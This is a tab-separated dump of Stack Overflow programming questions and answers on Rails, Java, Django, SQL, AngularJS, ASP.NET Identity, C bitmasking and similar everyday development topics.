19140817	0	Rails - ajax page partial update <p>I have my home.html.haml page rendering 3 partials:</p> <pre><code>%h1 Foo #foo1 = render partial: 'foo/foo', locals: {items: @foo1_items} #foo2 = render partial: 'foo/foo', locals: {items: @foo2_items} #foo3 = render partial: 'foo/foo', locals: {items: @foo3_items} </code></pre> <p>Currently, I have some remote links that refresh these parts individually firing an ajax call to to the home page:</p> <pre><code>= link_to 'refresh', home_path(mode: 'foo1'), remote:true = link_to 'refresh', home_path(mode: 'foo2'), remote:true = link_to 'refresh', home_path(mode: 'foo3'), remote:true </code></pre> <p>and I have a <strong>home.js.erb</strong> that contains something like this:</p> <pre><code>&lt;% if params[:mode] == 'foo1'%&gt; $('#foo1').html('&lt;%= j(render partial: 'foo/foo', locals: {items: @foo1_items}) %&gt;') &lt;% elsif params[:mode] == 'foo2'%&gt; $('#foo2').html('&lt;%= j(render partial: 'foo/foo', locals: {items: @foo2_items}) %&gt;') &lt;% else %&gt; $('#foo3').html('&lt;%= j(render partial: 'foo/foo', locals: {items: @foo3_items}) %&gt;') &lt;% end %&gt; </code></pre> <p>I am wondering:</p> <ol> <li>if this is the default(suggested, best) Rails way to do a partial page refresh or generally the way to handle ajax requests?</li> <li>if it would be faster to have server respond with pure html and let the client (javascript) to do the replacing?</li> <li>how do you handle this in your application?</li> </ol>
17353988	0	 <p>I would say that the real reason is that try-with-resources isn't so much new JVM feature as it is a compile-time language feature. In this way, it is very much analogous to the "enhanced for statement" which requires a class that has implemented the Iterable interface (you have to name an instance of the implenting class there, too). Try-with-resources requires that the resource implements the AutoCloseable interface. It is not wrong to regard the block as "syntactic sugar, introduced in 1.7". It just prevents you from having to deal with calls to the interface method yourself.</p> <p>Because the feature requires an object whose class has implemented the interface, you must give the try-with-resources block the name of that object.</p>
37860516	0	 <p>If H:i:s is always two-digit, i.e. <code>14:05:15</code> then it will be ordered correctly.</p> <p>If it can contain one-digit in any part, i.e. <code>14:5:15</code>, then it will not be ordered correctly.</p>
22893051	0	 <p>Like this</p> <pre><code>$(function() { $(window).on('resize', function() { $('.wrapper').css('margin-top', function() { return ($(document).height() - $(this).height()) / 2; }); }).trigger('resize'); }); </code></pre> <p><a href="http://jsfiddle.net/adeneo/sLVLt/2/" rel="nofollow"><strong>FIDDLE</strong></a></p>
1867590	0	 <p>I've used Selector for the last couple years and found it perfectly stable. It's been at 0.8.11 for at least two years now. </p> <p>I would draw two conclusions from that: </p> <ol> <li><p>It could be basically unmaintained. If you find a bug in it or need a new feature, I wouldn't count on being able to get Luke Arno to jump up and fix it in a hurry (not saying he wouldn't, but I'm guessing that Selector isn't his main focus these days). Would you be comfortable maintaining a local fork in that case?</p></li> <li><p>It's pretty much complete. The problem that it's trying to solve is contained in scope. It's a very small library without much code. The bugs have been shaken out and there's really nothing left to do on it. I think this is the main reason it hasn't been updated in a long time. It's basically done.</p></li> </ol> <p>Open source developers, and Python developers in particular, have a long history of being very (probably overly) conservative about marking things as 1.0. The lack of unit tests can be a little off-putting, but again, it's a small library solving a problem with limited scope. The code is short and clear enough to read and convince yourself of its correctness.</p>
6514430	0	 <p>According to <a href="http://stackoverflow.com/questions/1752701/how-to-convert-nsinteger-to-int">How to convert NSInteger to int</a>, <code>NSInteger</code> will always be at least 32 bits on every system/architecture, so yes, the answers to <a href="http://stackoverflow.com/questions/4738480/pass-two-integers-as-one-integer">Pass two integers as one integer</a> will work.</p>
34306313	0	 <p>You are passing $request->all() directly to the create method, in which case your HTML field's name should be same as the column names in your DB</p> <pre><code>&lt;div class="form-group"&gt; {!! Form::label('is_kids_friendly','Kids Friendly:') !!} {!! Form::radio('is_kids_friendly', 'true', null),'&amp;nbsp', 'Yes' !!} {!! Form::radio('is_kids_friendly', 'false', null),'&amp;nbsp','No' !!} &lt;/div&gt; &lt;div class="form-group"&gt; {!! Form::label('is_kids_only','Kids Only:') !!} {!! Form::radio('is_kids_only', 'true', null),'&amp;nbsp', 'Yes' !!} {!! Form::radio('is_kids_only', 'false', null),'&amp;nbsp','No' !!} &lt;/div&gt; &lt;div class="form-group"&gt; {!! Form::label('senior_citizen_friendly','Sineor Citizan Friendly:') !!} {!! Form::radio('senior_citizen_friendly', 'true', null),'&amp;nbsp', 'Yes' !!} {!! Form::radio('senior_citizen_friendly', 'false', null),'&amp;nbsp','No' !!} &lt;/div&gt; </code></pre>
34686180	0	 <p>The <code>finally</code> part is <em>always</em> executed before leaving the <code>try</code> block. <code>return 0</code> would leave the <code>try</code> block. So the <code>finally</code> part is executed first and returns 1.</p> <p><a href="https://docs.python.org/2/tutorial/errors.html#predefined-clean-up-actions" rel="nofollow">Documentation</a></p>
2993423	0	 <p>You may want to trim the string first, to avoid leading and trailing hyphens.</p> <pre><code>function hyphenSpace(s){ s= (s.trim)? s.trim(): s.replace(/^\s+|\s+$/g,''); return s.split(/\s+/).join('-'); } </code></pre>
18673292	0	 <p>Remove <code>position:absolute;</code> for the logo.</p>
28276932	0	 <p>Yes. It is a good idea, with the correct set-up. You'll be running code as if it was a virtual machine.</p> <p>The Dockerfile configurations to create a build system is not polished and will not expand shell variables, so pre-installing applications may be a bit tedious. On the other hand after building your own image to create new users and working environment, it won't be necessary to build it again, plus you can mount your own file system with the -v parameter of the run command, so you can have the files you are going to need both in your host and container machine. It's versatile.</p> <pre><code>&gt; sudo docker run -t -i -v /home/user_name/Workspace/project:/home/user_name/Workspace/myproject &lt;container-ID&gt; </code></pre>
3377450	0	 <p>I found the solution here <a href="http://www.jamesnetherton.com/blog/2008/05/04/Converting-Unix-timestamp-values-in-ColdFusion/" rel="nofollow noreferrer">http://www.jamesnetherton.com/blog/2008/05/04/Converting-Unix-timestamp-values-in-ColdFusion/</a>. I needed to convert the start and end time in order to use in my sql query.</p>
17788382	0	 <p>You could try something like this in PowerShell to check that the named computer is in the OU or not:</p> <p><strong>Script:</strong></p> <pre><code>import-module activedirectory $OU = @() $CheckOU = "LaptopOU" $computerName = "Laptop12345" $user = get-adcomputer $computerName -Properties * $user.DistinguishedName -split "," | %{If($_ -match "OU="){$OU += $_ -replace "OU=",""}} If($OU -match $CheckOU){ "Computer:$computerName is in the OU:$CheckOU" # Do something... } Else{ "Computer:$computerName is not in the OU:$CheckOU" # Do something else.. } </code></pre> <p>This will take a <code>$computerName</code> and get all the OU's that it's in from Active Directory and stores them in an <code>$OU</code> array. </p> <p>Then you can use that array to simply check if the computer is in the given OU (<code>$CheckOU</code>) or not by using the <code>-match</code> operator. </p> <p><strong>Note:</strong> You need to make sure that you import the <code>activedirectory</code> module. If you do not have this to import follow this link for how to get it: <a href="http://blogs.msdn.com/b/rkramesh/archive/2012/01/17/how-to-add-active-directory-module-in-powershell-in-windows-7.aspx" rel="nofollow">activedirectory module</a> </p> <p>For more Cmdlet's and syntax on the Powershell Active Directory module follow this <a href="http://technet.microsoft.com/en-us/library/ee617195.aspx" rel="nofollow">Link</a></p>
3097814	0	 <pre><code>decltype(a-&gt;x) </code></pre> <p>This gives you the type of the member variable <code>A::x</code>, which is <code>double</code>.</p> <pre><code>decltype((a-&gt;x)) </code></pre> <p>This gives you the type of the expression <code>(a-&gt;x)</code>, which is an lvalue expression (hence why it is a const reference--<code>a</code> is a <code>const A*</code>).</p>
36747045	0	 <p>First, you should really do</p> <pre><code>Car.prototype = Object.create(Vehicle.prototype); </code></pre> <p>The reasons are involved, but suffice to say that that's a better way to get a new object for your <code>Car</code> prototype and ensure that it inherits from the <code>Vehicle</code> prototype.</p> <p>Now, the <strong>reason</strong> you want a new object for the <code>Car</code> prototype is that if you're bothering to make a <em>subclass</em> you'll probably want specialized behaviors that <em>do</em> apply to the subclass but <em>don't</em> apply to the more general parent class. You need a new object for those new properties; otherwise, you'd be adding those behavior properties to the <code>Vehicle</code> prototype, and all Vehicles would have access.</p> <p>Finally, setting <code>Car.prototype</code> to just <code>Vehicle</code> doesn't make much sense. That would <em>work</em>, in that it would not cause an exception, but it would set the <code>Car</code> prototype to be the <code>Vehicle</code> constructor function itself.</p>
15826385	0	Can we query and fetch data from LIST between different subsites using CAML Query.? <p>Have LIST created under one site, can the same LIST be used to fetch data from other site using CAML Query.?</p> <p>eg:</p> <p>Consider a LIST "xxx" created under SitePages/AAA/Lists/</p> <p>Can i access the LIST "xxx" from other site i.e SitePages/BBB/</p> <p>To Summarize, Is it possible to access the LIST across parent and child sites, vice-versa.</p> <p>Thanks in advance</p>
6604110	0	haml display address <pre><code>album/show.html.haml #comment_list= render :partial =&gt; 'shared/comments', :locals =&gt; { :commentable =&gt; @album } shared/_comments.html.haml #comments = commentable.comments.each do |comment| = comment.content display Hello #&lt;Comment:0x7f668f037710&gt; </code></pre> <p>why is address displaying? How to remove it?</p>
36550797	1	Could not parse the remainder: '((records_list.1.key.5)' from '((records_list.1.key.5)' <p>Obligatory "I am new to Django" here...</p> <p>In my views I am creating a list, called records_list. Inside that list, I have another list in the position [0] and a dictionary in the position [1], as follows:</p> <pre><code>records_list = list() list_one = Bet.objects.order_by('-game_date') list_two = {} </code></pre> <p>Inside the "list_two", that is my dictionary, I have a key that is a date "April 2016", for ex, and a value that is a tuple: </p> <pre><code>list_two[aux_month_year] = (aux_wins, aux_losses, aux_voids, s_rate, i_rate, profit) </code></pre> <p>So I return this to my html:</p> <pre><code>records_list.append(list_one) records_list.append(list_two) return records_list </code></pre> <p>In the html, I want to create a table, and I start by checking if my profit is positive or not:</p> <pre><code>{% if records_list %} &lt;table class="table"&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;Date&lt;/th&gt; &lt;th&gt;Wins&lt;/th&gt; &lt;th&gt;Losses&lt;/th&gt; &lt;th&gt;Void&lt;/th&gt; &lt;th&gt;Success Rate&lt;/th&gt; &lt;th&gt;Return on Investment&lt;/th&gt; &lt;th&gt;Profit&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; {% for key in records_list.1 %} {% if ((records_list.1.key.5) &gt; 0) %} &lt;tr class="success"&gt; &lt;td&gt;{{ key }}&lt;/td&gt; &lt;td&gt;{{ records_list.1.key.0 }}&lt;/td&gt; &lt;td&gt;{{ records_list.1.key.1 }}&lt;/td&gt; &lt;td&gt;{{ records_list.1.key.2 }}&lt;/td&gt; &lt;td&gt;{{ records_list.1.key.3 }}%&lt;/td&gt; &lt;td&gt;{{ records_list.1.key.4 }}%&lt;/td&gt; &lt;td&gt;{{ records_list.1.key.5 }}&lt;/td&gt; &lt;/tr&gt; </code></pre> <p>However, I am getting the following syntax error here:</p> <pre><code>{% if ((records_list.1.key.5) &gt; 0) %} </code></pre> <p>Error:</p> <pre><code>Could not parse the remainder: '((records_list.1.key.5)' from '((records_list.1.key.5)' </code></pre> <p>If someone could help me and point me to the right direction I would appreciate! Thank you</p>
9103275	0	Restricting results to only rows where one value appears only once <p>I have a query that is more complex than the example here, but which needs to only return the rows where a certain field doesn't appear more than once in the data set.</p> <pre><code>ACTIVITY_SK STUDY_ACTIVITY_SK 100 200 101 201 102 200 100 203 </code></pre> <p>In this example I don't want any records with an <code>ACTIVITY_SK</code> of 100 being returned because <code>ACTIVITY_SK</code> appears twice in the data set.</p> <p>The data is a mapping table, and is used in many joins, but multiple records like this imply data quality issues and so I need to simply remove them from the results, rather than cause a bad join elsewhere.</p> <pre><code>SELECT A.ACTIVITY_SK, A.STATUS, B.STUDY_ACTIVITY_SK, B.NAME, B.PROJECT FROM ACTIVITY A, PROJECT B WHERE A.ACTIVITY_SK = B.STUDY_ACTIVITY_SK </code></pre> <p>I had tried something like this:</p> <pre><code>SELECT A.ACTIVITY_SK, A.STATUS, B.STUDY_ACTIVITY_SK, B.NAME, B.PROJECT FROM ACTIVITY A, PROJECT B WHERE A.ACTIVITY_SK = B.STUDY_ACTIVITY_SK WHERE A.ACTIVITY_SK NOT IN ( SELECT A.ACTIVITY_SK, COUNT(*) FROM ACTIVITY A, PROJECT B WHERE A.ACTIVITY_SK = B.STUDY_ACTIVITY_SK GROUP BY A.ACTIVITY_SK HAVING COUNT(*) &gt; 1 ) </code></pre> <p>But there must be a less expensive way of doing this...</p>
28410479	0	 <p>Here is something similar with good code example.</p> <p>// Set cursor as hourglass Cursor.Current = Cursors.WaitCursor;</p> <p>// Execute your time-intensive hashing code here...</p> <p>// Set cursor as default arrow Cursor.Current = Cursors.Default;</p> <p><a href="http://stackoverflow.com/questions/1568557/how-can-i-make-the-cursor-turn-to-the-wait-cursor">How can I make the cursor turn to the wait cursor?</a></p>
34355813	0	 <blockquote> <p>Is there any way to get a response without the target namespace?</p> </blockquote> <p>I hope not. A SOAP web service should have a well-defined, published interface and every response that it sends should conform to that interface. Usually, the interface is described by a WSDL document.</p> <blockquote> <p>And would like to get it without the target namespace</p> </blockquote> <pre><code>&lt;MyItem&gt; &lt;class&gt;myClass&lt;/class&gt; &lt;name&gt;MyItemName&lt;/name&gt; &lt;/MyItem&gt; </code></pre> <p>Being pedantic, but the absence of a namespace prefix does not mean that there is no namespace. There might be a default namespace in force. So you <em>could</em> achieve XML that looks exactly like the above and the MyItem, class and name tags might still have a non-empty namespace.</p> <blockquote> <p>I know its purpose and that it's actually quite useful.</p> </blockquote> <p>The purpose of a namespace in an XML document ( whether a web service response, or any other XML ) is to avoid polluting the global namespace. Do you really want 'name' and 'class' to have exactly one meaning in your applications? Or would it be better if each schema could define its own version of those?</p> <blockquote> <p>But it happened that it can't be processed any further by another tool with this target namespace and looks like this: </p> </blockquote> <pre><code>&lt;MyItem xmlns="http://spring.io/guides/gs-producing-web-service"&gt; ... </code></pre> <p>That looks like valid XML, so what's the problem? Is that output produced by the 'other tool'? Or is it something that the 'other tool' cannot handle?</p>
35916897	0	OpenBUGS: Initializing the Model <p>I am having a problem in initializing the following model in OpenBUGS</p> <pre><code>model { #likelihood for (t in 1:n) { yisigma2[t] &lt;- 1/exp(theta[t]); y[t] ~ dnorm(0,yisigma2[t]); } #Priors mu ~ dnorm(0,0.1); phistar ~ dbeta(20,1.5); itau2 ~ dgamma(2.5,0.025); beta &lt;- exp(mu/2); phi &lt;- 2*phistar-1; tau &lt;- sqrt(1/itau2); theta0~dnorm(mu, itau2) thmean[1] &lt;- mu + phi*(theta0-mu); theta[1] ~ dnorm(thmean[1],itau2); for (t in 2:n) { thmean[t] &lt;- mu + phi*(theta[t-1]-mu); theta[t] ~ dnorm(thmean[t],itau2); } } </code></pre> <p>This is my data </p> <pre><code>list(y=c(-0.0383 , 0.0019 ,......-0.0094),n=945) </code></pre> <p>And this is the list of my initials </p> <pre><code>list(phistar= 0.98, mu=0, itau2=50) </code></pre> <p>The checking of model, loading of data and compilation steps are ok. When loading initials, OpenBUGS says initial values are loaded but chain contains uninitialized variables. I then tried to initialize theta0 also but the problem persists. Could someone please help me regarding this? Thanks Khalid</p>
34014074	0	 <p>Found how to get it:</p> <pre><code>from openerp.http import request ua = request.httprequest.environ.get('HTTP_USER_AGENT', '') </code></pre> <p>Note. <code>httprequest</code> seems to be deprecated. But for now I din't find another way to get user agent.</p>
24134264	0	GIT and GITLAB in Debian Wheezy <p>I'm news in git and gitlab. I've installed it from the officiel installation. Trying to push some project via sourcetree for example, I've this result</p> <pre><code>`git -c diff.mnemonicprefix=false -c core.quotepath=false push -v --tags --set-upstream origin master:master Pushing to git@xxx.xxxxx.xx:/home/git/repositories/root/all.git remote: GitLab: You are not allowed to access master![K remote: error: hook declined to update refs/heads/master[K </code></pre> <p>To git@xxx.xxxxx.xx:/home/git/repositories/root/all.git ! [remote rejected] master -> master (hook declined)</p> <p>error: failed to push some refs to 'git@xxx.xxxxx.xx:/home/git/repositories/root/all.git' `</p> <p>Someone have an idea?</p> <p>Thank's</p>
29647582	0	Enable smilies/emoticons in UCWA Chat application <p>I have built a web application which provides simple text chatting. I have used the UCWA API provided by Microsoft to implement this Instant Messaging chat application.</p> <p>My next step is to enable usage of smilies/emoticons in the chat application. I have gone though the ucwa documentation <a href="https://ucwa.lync.com/documentation/what-is-lync-ucwa-api" rel="nofollow">https://ucwa.lync.com/documentation</a></p> <p>But i have not found a way to enable usage of smilies/emoticons.</p> <p>My query is: Does UCWA API support usage of smilies/emoticons? If yes, how do we enable in our chat application. If No, how can we add smilies/emoticons into a web application?</p> <p>Any sort of links or any clues would be really helpful. Thanks in Advance.</p>
18752733	0	 <p>Being from a SQL Server background, I've always created a trigger on the table to basically emulate IDENTITY functionality. Once the trigger is on, the SK is automatically generated from the sequence just like identity and you don't have to worry about it.</p>
17810487	0	An array disappears in "for" expression, <p>There's some code, and it's not working. </p> <pre><code>window.onload = function () { var div = document.getElementById ('main'); var img = div.children; var i = 1; //console.log(img[i]); for (var i=1; i != img.length; i++) { img[i].onclick = function () { console.log(img[i]); } } } </code></pre> <p>Please, explain me Why is img[i] in <code>console.log(img[i]);</code> undefined ? How this bug can be fixed?</p>
3471880	0	JSF: How to refresh a page after download <p>I have a commandButton that will invoke a function to download a file (standard stuffs like <code>InputStream</code>, <code>BufferedOutputStream</code> ...) After download success, at the end of the function, I change some values of the current object and persist it into database. All of these work correctly. Now when file is done downloading, the content of the page is not updated. I have to hit refresh for me to see updated content. Please help. Below are the basic structure of my code</p> <p><code>document</code>: Managed Bean<br> <code>getDrawings()</code>: method return a list of Drawing (entity class)<br> <code>CheckedOutBy</code>: attribute of Entity <code>Drawing</code></p> <pre><code>&lt;p:dataTable id="drawing_table" value="#{document.drawings}" var="item" &gt; &lt;p:column&gt; &lt;f:facet name="header"&gt; &lt;h:outputText value="CheckedOutBy"/&gt; &lt;/f:facet&gt; &lt;h:outputText value="#{item.checkedOutBy}"/&gt; ... &lt;/p:dataTable&gt; &lt;p:commandButton ajax="false" action="#{document.Download}" value="Download" /&gt; </code></pre> <p>Inside my Managed Bean</p> <pre><code>public void Download(){ Drawing drawing = getCurrentDrawing(); //Download drawing drawing.setCheckedOutBy("Some Text"); sBean.merge(drawing); //Update "Some Text" into CheckedOutBy field } </code></pre>
32701467	0	Undefined type error even with forward declaration <p>I was reading up on circular references and forward declarations. I do understand that it is not a good design practice to have implementations in a header file. However I was experimenting and could not understand this behavior.</p> <p>With the following code (containing the forward declarations) I expected it to build, however I get this error:</p> <pre><code>Error 1 error C2027: use of undefined type 'sample_ns::sample_class2' </code></pre> <p>Header.hpp</p> <pre><code>#ifndef HEADER_HPP #define HEADER_HPP #include "Header2.hpp" namespace sample_ns { class sample_class2; class sample_class{ public: int getNumber() { return sample_class2::getNumber2(); } }; } #endif </code></pre> <p>Header2.hpp</p> <pre><code>#ifndef HEADER2_HPP #define HEADER2_HPP #include "Header.hpp" namespace sample_ns { class sample_class; class sample_class2{ public: static int getNumber2() { return 5; } }; } #endif </code></pre> <p>Obviously I am missing on something. Can someone point me in the right direction as to why am I getting this error.</p>
6024101	0	 <p>No, it's only a matter of readability. As your model grows you will probably get a very large configuration in OnModelCreating. As to make this more readable you break it up into separate configurations.</p>
3482879	0	Where are the functional gui users? <p>There has been a lot of research into ways of creating guis in a functional language. There is libraries for push/pull frp, arrow based frp and probably other superior research too. <a href="http://stackoverflow.com/questions/2672791/is-functional-gui-programming-possible">Many people</a> seem to agree this is the more native way yet just about everyone seems to be using imperative binding libraries such as gtk2hs and wxhaskell. Even places recommended as <a href="http://book.realworldhaskell.org/read/gui-programming-with-gtk-hs.html" rel="nofollow noreferrer">good</a> <a href="http://en.wikibooks.org/wiki/Haskell/GUI" rel="nofollow noreferrer">tutorials</a> teach binding to these plain imperative libraries. Why not guis based on FRP research?</p>
22385632	0	Javascript not changing background img in a span <p>I've recently tried to use some js code that i've used for ages to change a span's background colour on certain days, i'm now trying to use the js to change the background image instead but i'm having issues. The js is finding the element but rather than change to the new image, the page is just rendering the span with no image at all. Any hints would be handy as i'm not that great with js. I do have spans identified to display as block, and the current image in the span does work when the javascript is removed.</p> <p>Javascript code: (i've cut some out so only Thursday has a command)</p> <pre><code>var d = new Date(); var weekday = new Array(7); weekday[0]="Sunday"; weekday[1]="Monday"; weekday[2]="Tuesday"; weekday[3]="Wednesday"; weekday[4]="Thursday"; weekday[5]="Friday"; weekday[6]="Saturday"; var n = weekday[d.getDay()]; var thursday = document.getElementById("th"); if (n == "Thursday") { thursday.style.color="#fff"; thursday.style.backgroundImage = "url(../images/boardMiddleOn.png)"; } </code></pre> <p>CSS:</p> <pre><code>#th { background-image:url(../images/boardMiddle.png); height: 45px; line-height: 45px; } </code></pre> <p>HTML:</p> <pre><code>&lt;span id="th"&gt;Thursday: 9am - 11pm&lt;br/&gt;&lt;/span&gt; </code></pre>
40413461	0	 <p>Create function to validate entered Number that return bool</p> <pre><code>bool isValidNumber = true; do{ Console.WriteLine("Enter the phone number to be added:"); string NewNumber = Console.ReadLine(); isValidNumber = isValidNumberCheck(NewNumber); }while(!isValidNumber); </code></pre>
29391302	0	Using custom user instead of ASP.NET IdentityUser <p>I'm new on ASP.NET Identity and trying to customize the identity which is provided while creating new MVC project.</p> <p>ASP.NET Identity automatically creates few tables for handle authentication and authorization itself.</p> <p>My main goal is just create Users table but others. I've tried following code to prevent creating these tables:</p> <pre><code>protected override void OnModelCreating(DbModelBuilder modelBuilder) { base.OnModelCreating(modelBuilder); modelBuilder.Ignore&lt;IdentityUserRole&gt;(); modelBuilder.Ignore&lt;IdentityUserClaim&gt;(); modelBuilder.Ignore&lt;IdentityRole&gt;(); } </code></pre> <p>When I want to create a user, following error returning:</p> <p><em>The navigation property 'Roles' is not a declared property on type 'ApplicationUser'. Verify that it has not been explicitly excluded from the model and that it is a valid navigation property.</em></p> <p>I found that built-in Identity user has following structure:</p> <pre><code>IdentityUser&lt;string, IdentityUserLogin, IdentityUserRole, IdentityUserClaim&gt;, IUser, IUser&lt;string&gt; </code></pre> <p>What I need is creating a custom IdentityUser which not contains role, claim, etc. I just want the table 'Users' when I run the project.</p> <p>Any possibility to create my own IdentityUser or customize built-in one? Or any suggestion to create just 'Users' table and work with it?</p> <p>Many thanks in advice.</p>
14380143	0	Matching binary patterns in C <p>I'm currently developing a C program that needs to parse some bespoke data structures, fortunately I know how they are structured, however I'm not sure of how to implement my parser in C.</p> <p>Each of the structures are 32-bits in length, and each structure can be identified by it's binary signature.</p> <p>As an example, there are two particular structures that I'm interested in, and they have the following binary patterns (x means either 0 or 1)</p> <pre><code> 0000-00xx-xxxx-xxx0 0000-10xx-10xx-xxx0 </code></pre> <p>Within these structures the 'x' bits contain the actual data I need, so essentially I need a way of identifying each structure based on how the bits are written within each structure.</p> <p>So as an example in pseudo-code:</p> <pre><code>if (binaryPattern = 000010xxxxxxxxx0) { do something with it; } </code></pre> <p>I'm guessing that reading them as ints, and then performing some kind of bitmasking would be the way to go, but my knowledge of C isn't great, and maybe a simple logical OR operation would do it, but I just wanted some advice on doing this before I start.</p> <p>Thanks</p> <p>Thanks very much to everyone that has answered, very helpful!!</p>
33739855	0	Modify method to show success/failed Message. AngularJS <p>I´m pretty new to angularJS and I cant seem to find a good way to show a SUCCESS or ERROR message for the return of my Save method.</p> <p>Heres the html code:</p> <pre><code>&lt;form role="form"&gt; &lt;div class="panel-body"&gt; &lt;div class="panel-body"&gt; &lt;img src="/assets/doge.jpg" alt="Doge"&gt; &lt;/div&gt; &lt;div class="container"&gt; &lt;div class="input-group"&gt; &lt;span class="input-group-addon" id="tec-nombre"&gt;Nombre del Tecnico:&lt;/span&gt;&lt;input type="text" class="form-control" data-ng-model="tecnico.nombre" aria-describedby="tec-nombre"&gt; &lt;div role="alert"&gt; &lt;span class="error" data-ng-show="myForm.nombreTecnico.$error.required"&gt; Required!&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="input-group"&gt; &lt;span class="input-group-addon" id="tec-legajo"&gt;Legajo del Tecnico:&lt;/span&gt;&lt;input type="number" class="form-control" data-ng-model="tecnico.legajo" aria-describedby="tec-legajo"&gt; &lt;div role="alert"&gt; &lt;span class="error" data-ng-show="myForm.legajoTecnico.$error.required"&gt; Required!&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="input-group"&gt; &lt;span class="input-group-addon" id="tec-email"&gt;Email del Tecnico:&lt;/span&gt;&lt;input type="email" class="form-control" data-ng-model="tecnico.email" aria-describedby="tec-email"&gt; &lt;div role="alert"&gt; &lt;span class="error" data-ng-show="myForm.emailTecnico.$error.required"&gt; Required!&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="input-group"&gt; &lt;span class="input-group-addon" id="tec-interno"&gt;Interno del Tecnico:&lt;/span&gt;&lt;input type="text" class="form-control" data-ng-model="tecnico.interno" aria-describedby="tec-interno"&gt; &lt;div role="alert"&gt; &lt;span class="error" data-ng-show="myForm.nombreTecnico.$error.required"&gt; Required!&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="form-group"&gt; &lt;label class="col-md-2"&gt;&lt;/label&gt; &lt;div class="col-md-4"&gt; &lt;a href="#/" class="btn"&gt;Cancel&lt;/a&gt; &lt;a data-ng-click="saveTecnico(tecnico);" href="#/test" class="btn btn-primary"&gt;Actualizar {{tecnico.legajo}}&lt;/a&gt; &lt;button data-ng-click="deleteCustomer(customer)" data-ng-show="customer._id" class="btn btn-warning"&gt;Delete&lt;/button&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p></p> <p>And heres the Angular Code:</p> <pre><code> angular.module('incidente', [ 'ngRoute' , 'ui.tree' ]) .config([ '$routeProvider', function($routeProvider) { $routeProvider.when('/', { templateUrl : 'partials/home.html' }).when('/incidente/:codename', { templateUrl : 'partials/incidente.html', controller : 'IncidenteController' }).when('/incidentes', { templateUrl : 'partials/incidentes.html', controller : 'IncidentesController' }).when('/tecnicos', { templateUrl : 'partials/tecnicos.html', controller : 'TecnicosController' }).when('/tecnico/:legajo', { templateUrl : 'partials/tecnico.html', controller : 'TecnicoController' }).when('/sistema/:nombre', { templateUrl : 'partials/sistema.html', controller : 'SistemaController' }).when('/sistemas', { templateUrl : 'partials/sistemas.html', controller : 'SistemasController' }).when('/hardware/:codename', { templateUrl : 'hardware.html', controller : 'HardwareController' }).when('/hardwares', { templateUrl : 'partials/hardwares.html', controller : 'HardwaresController' }).when('/software/:codename', { templateUrl : 'partials/software.html', controller : 'SoftwareController' }).when('/softwares', { templateUrl : 'partials/softwares.html', controller : 'SoftwaresController' }).when('/readme', { templateUrl : 'partials/readme.html', controller : '' }).when('/test', { templateUrl : '/partials/tecnicos.html', controller : 'TecnicosController' }).otherwise({ redirectTo : '/' }); } ]) .controller('home', function($scope, $http) { $http.get('/resource/').success(function(data) { $scope.greeting = data; }) }) .controller( 'navigation', function($rootScope, $scope, $http, $location) { var authenticate = function(credentials, callback) { var headers = credentials ? { authorization : "Basic " + btoa(credentials.username + ":" + credentials.password) } : {}; $http.get('user', { headers : headers }).success(function(data) { if (data.name) { $rootScope.authenticated = true; } else { $rootScope.authenticated = false; } callback &amp;&amp; callback(); }).error(function() { $rootScope.authenticated = false; callback &amp;&amp; callback(); }); } authenticate(); $scope.credentials = {}; $scope.login = function() { authenticate($scope.credentials, function() { if ($rootScope.authenticated) { $location.path("/"); $scope.error = false; } else { $location.path("/login"); $scope.error = true; } }); }; }) .controller( 'IncidenteController', [ '$scope', '$http', '$routeParams', function($scope, $http, $routeParams) { var urlbase = "http://localhost:8080/"; var onError = function(reason) { $scope.error = "No se pudo encontrar"; }; var code = $routeParams.codename; console.log(code); var onIncidenteComplete = function(response) { try { $scope.incidente = response.data; } catch (error) { console.error(error); } }; $http.get(urlbase + "get/incidente/" + code).then( onIncidenteComplete, onError); $scope.saveIncidente = function(incidente) { console.log(incidente); return $http.post(urlbase + "set/incidente/" + incidente) }; } ]) .controller( 'IncidentesController', [ '$scope', '$http', function($scope, $http) { var urlbase = "http://localhost:8080/"; var onError = function(reason) { $scope.error = "No se pudo encontrar"; }; var onIncidenteComplete = function(response) { try { $scope.incidentes = angular .fromJson(response.data); console.log($scope.incidentes); } catch (error) { console.error(error); } }; $http.get(urlbase + "get/incidente/").then( onIncidenteComplete, onError); } ]) .controller( 'TecnicoController', [ '$scope', '$http', '$routeParams', function($scope, $http, $routeParams) { var onError = function(reason) { $scope.error = "No se pudo encontrar"; }; var urlbase = "http://localhost:8080/"; var legajo = $routeParams.legajo; var onTecnicoComplete = function(response) { try { $scope.tecnico = response.data; } catch (error) { console.error(error); } }; $http.get(urlbase + "get/tecnico/" + legajo) .then(onTecnicoComplete, onError); $scope.saveTecnico = function(tecnico) { return $http.post(urlbase + "set/tecnico/", tecnico) }; This is the function that saves the tecnico and should show the error/success message. } ]) .controller( 'TecnicosController', [ '$scope', '$http', function($scope, $http) { var onError = function(reason) { $scope.error = "No se pudo encontrar"; }; var onTecnicoComplete = function(response) { $scope.tecnicos = response.data; }; $http.get("http://localhost:8080/get/tecnico/") .then(onTecnicoComplete, onError); } ]) .controller( 'SistemasController', [ '$scope', '$http', function($scope, $http) { var urlbase = "http://localhost:8080/get/"; var onError = function(reason) { $scope.error = "No se pudo encontrar"; }; var onSistemaComplete = function(response) { $scope.sistemas = response.data; }; $http.get(urlbase + "sistema/").then( onSistemaComplete, onError); } ]); </code></pre> <p>So far is just a redirect, but I want to show a success or error message before te redirect to help the user understand what happened.</p>
28369745	0	 <p>How do you parse JSON data? If you are using <a href="https://code.google.com/p/google-gson/" rel="nofollow">Gson</a>, you can use <a href="https://google-gson.googlecode.com/svn/trunk/gson/docs/javadocs/com/google/gson/GsonBuilder.html#disableHtmlEscaping%28%29" rel="nofollow">GsonBuilder.disableHtmlEscaping()</a> method in order to display proper characters instead of their code.</p>
